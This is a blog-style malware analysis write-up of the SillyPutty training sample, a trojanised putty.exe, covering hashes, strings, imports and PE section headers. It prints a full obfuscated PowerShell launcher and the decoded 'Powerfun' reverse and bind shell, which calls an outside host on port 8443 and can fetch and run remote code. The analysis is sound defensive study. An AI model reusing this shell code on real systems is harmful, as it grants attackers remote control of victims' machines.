SillyPutty Malware Analysis Writeup — Part 1

Robert Holdsworth
7 min readOct 21, 2022

I’ve been working my way through the Practical Malware Analysis and Triage (PMAT) course from TCM Security which is instructed by Matt Kiely, AKA HuskyHacks. This course is an absolute goldmine if you would like to get started with Malware Analysis!

There are challenges at the end of each section to test your knowledge and solidify your learning. In part 1 one of this writeup, I will describe how I performed basic static analysis on the ‘putty.exe’ PE malware sample included within the SillyPutty challenge.

Using VirusTotal to Aid My Initial Analysis

To start, I generated a SHA256 hash of the ‘putty.exe’ malware sample and used this to search for any matching samples that had already been passed through VirusTotal.

# Command used to generate SHA256 hash from putty.exe sample.
sha256sum putty.exe

‘putty.exe’ SHA256 hash: 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83

Using the above hash I found the following match on virus total: https://www.virustotal.com/gui/file/0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83.

From looking at the VirusTotal scan I could immediately see that 61 out of 71 security vendors flagged this sample as malicious, and that many marked it as a Trojan. Some also suggested that the sample contains shellcode, with others identifying the sample for links to Metasploit.

Figure 1: VirusTotal initial summary of the ‘putty.exe’ sample.
Figure 2: VirusTotal’s security vendors’ analysis results for the ‘putty.exe’ sample.

To aid my own static and dynamic analysis, I then took a note of the Network Communication and process action information produced by the various sandbox reports within the behavior section of the VirusTotal page.

Figure 3: Domains VirusTotal suggests the ‘putty.exe’ sample attempts to resolve via DNS queries.
Figure 4: VirusTotal’s reported Processes Tree associated with the ‘putty.exe’ sample.

String and Import Address Table Static Analysis

I used PEstudio to extract the strings and view the imported functions from the PE ‘putty.exe’ sample. Many of the strings and imported functions suggested that the sample had the capability to perform some network enumeration or established TCP connections. However, as the clean version of ‘putty.exe’ is designed to allow users to connect to remote hosts using SSH or Telnet, it was difficult to determine which of the strings or imported functions are used to implement malicious behavior.

Figure 5: Highlighted strings extracted from the ‘putty.exe’ sample using PEStudio suggesting it has host enumeration capability.

In spite of the issue I explained above, the following PowerShell-related string caught my attention because it seemed to be a long PowerShell command than executed an obfuscated payload that also matched the process details from the VirusTotal sandbox reports as can be seen in Figure 4.

Figure 6: Highlighted suspicious Powershell command taken from the strings section within PEStudio.

The full PowerShell string extracted from the ‘putty.exe’ sample can be seen below:

powershell.exe -nop -w hidden -noni -ep bypass “&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(‘H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA==’))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))”

The above PowerShell command is run with the following options: -nop (NoProfile), -w hidden (WindowStyle hidden), -noni (NonInteractive), -ep bypass (ExecutionPolicy Bypass). These options cause the obfuscated PowerShell script to be executed in a manner that is less visible to the user and bypasses the victim machine’s ExecutionPolicy, preventing the execution of the command from being blocked.

In inspecting the PowerShell command further, I determined that the obfuscated PowerShell payload was likely compressed using Gzip and then base64 encoded, as I saw the payload being passed as an argument into the ‘FromBase64String()’ function that is encapsulated within System.IO.Compression.GzipStream() which itself has a compression mode argument passed of [System.IO.Compression.CompressionMode]::Decompress.

With the previous information in mind, I de-obfuscated the payload by pasting it into CyberChef (a web app for encryption, encoding, compression and data analysis) with the following recipe:

Figure 7

The full de-obfuscated payload can be seen bellow:

# Powerfun - Written by Ben Turner & Dave Hardyfunction Get-Webclient{$wc = New-Object -TypeName Net.WebClient$wc.UseDefaultCredentials = $true$wc.Proxy.Credentials = $wc.Credentials$wc}function powerfun{Param([String]$Command,[String]$Sslcon,[String]$Download)Process {$modules = @()if ($Command -eq "bind"){$listener = [System.Net.Sockets.TcpListener]8443$listener.start()$client = $listener.AcceptTcpClient()}if ($Command -eq "reverse"){$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)}$stream = $client.GetStream()if ($Sslcon -eq "true"){$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")$stream = $sslStream}[byte[]]$bytes = 0..20000|%{0}$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")$stream.Write($sendbytes,0,$sendbytes.Length)if ($Download -eq "true"){$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")$stream.Write($sendbytes,0,$sendbytes.Length)ForEach ($module in $modules){(Get-Webclient).DownloadString($module)|Invoke-Expression}}$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')$stream.Write($sendbytes,0,$sendbytes.Length)while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding$data = $EncodedText.GetString($bytes,0, $i)$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '$x = ($error[0] | Out-String)$error.clear()$sendback2 = $sendback2 + $x$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()$listener.Stop()}}
powerfun -Command reverse -Sslcon true

The ‘if’ statements and their nested PowerShell code suggest that the script has the functionality to create a reverse or bind shell.

It appears that the reverse shell attempts to establish a connection with the machine has the domain of “bonus2.corporatebonusapplication.local” at the remote TCP port of 8443.

if ($Command -eq "reverse"){$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)}$stream = $client.GetStream()

It also seems that the PowerShell script has the capability to download a PowerShell module onto the machine and then execute it if the $Download parameter is passed an argument of ‘true’.

if ($Download -eq "true"){$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")$stream.Write($sendbytes,0,$sendbytes.Length)ForEach ($module in $modules){(Get-Webclient).DownloadString($module)|Invoke-Expression}}

In addition to the PowerShell script’s functionality outlined above, the script provides the ability for any TCP connection established between the victim machine and the attacker machine to be encrypted using the Secure Socket Layer (SSL) protocol if the argument parsed for the $sslcon parameter is equal to ‘true’. The below snippet shows that the victim machine will try to authenticate as a client with the server that has the domain name of “bonus2.corporatebonusapplication.local”.

if ($Sslcon -eq "true"){$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")$stream = $sslStream}

At the bottom of the de-obfuscated PowerShell script, we can see that it will call itself with the ‘-Command’ parameter being passed an argument of ‘reverse’ and the ‘-Sslconn’ parameter being given an argument of ‘true’, suggesting that an encrypted reverse shell connection will be established with the machine that has a domain name of “bonus2.corporatebonusapplication.local” on the remote port of 8443.

powerfun -Command reverse -Sslcon true

Analysing the PE Sample’s Section Headers

Using PEview I was able to observe that the portable executable (PE) in question (‘putty.exe’) has 10 different sections. Some of these sections have identical names; for example, there are 2 ‘.text’ sections, 2 ‘.rsrc’ sections, and 2 ‘.reloc’ sections.

Figure 8: PEview showing the ‘putty.exe’ sample’s sections.

The Detect-IT-Easy (DIE) tool notified me that 5 out of the 10 sections were likely to be packed.

Figure 9: Detect-IT-Easy’s entropy window indicating which sections of the ‘putty.exe’ sample are likely to be packed.

Observing the section headers of the putty.exe sample, I could see that the unpacked ‘.text’ section (also named Section(6) by the DIE tool output above) has a relative virtual address (RVA) value of 0x00122000 and that the entry-point of the PE has the same address (0x00122000); this suggested to me that when the putty.exe sample is detonated, the instructions contained within the unpacked .text section will be executed first.

Figure 10: PEStudio showing the entry-point , raw-address, and virtual-address of the unpacked ‘.text’ section.

Looking at the location of the PowerShell command string that contains the obfuscated reverse/bind shell payload situated at 0x0011BB05 within the PE file, I could tell that the PowerShell command is contained within the unpacked ‘.text’ section (Section(6)) which has a raw address of 0x0011BA00 and a raw size of 2048 bytes.

Figure 11: PEStudio indicating the raw location in the ‘putty.exe’ PE sample for the suspicious PowerShell string.

Since Section(6) ‘.text’ is unpacked I was able to confirm the above statement is true by looking at the section within PEview where you can see the PowerShell command string within the value column.

Figure 12: Screenshot showing the suspicious PowerShell command is contained within the unpacked ‘.text’ section using PEview.

Now, with the knowledge that a malicious PowerShell command string is contained within the Section(6) ‘.text’ and the RVA of this section is the same as the RVA of the entrypoint, my first thoughts were that this PowerShell command would executed on detonation of ‘putty.exe’, causing an encrypted reverse shell session to be established with the machine at ‘bonus2.corporatebonusapplication.local’.

Thank you for reading! I will be releasing part 2 of this write up in the near future where I will be detailing what I found when performing basic dynamic analysis on the ‘putty.exe’ malware sample.

--

--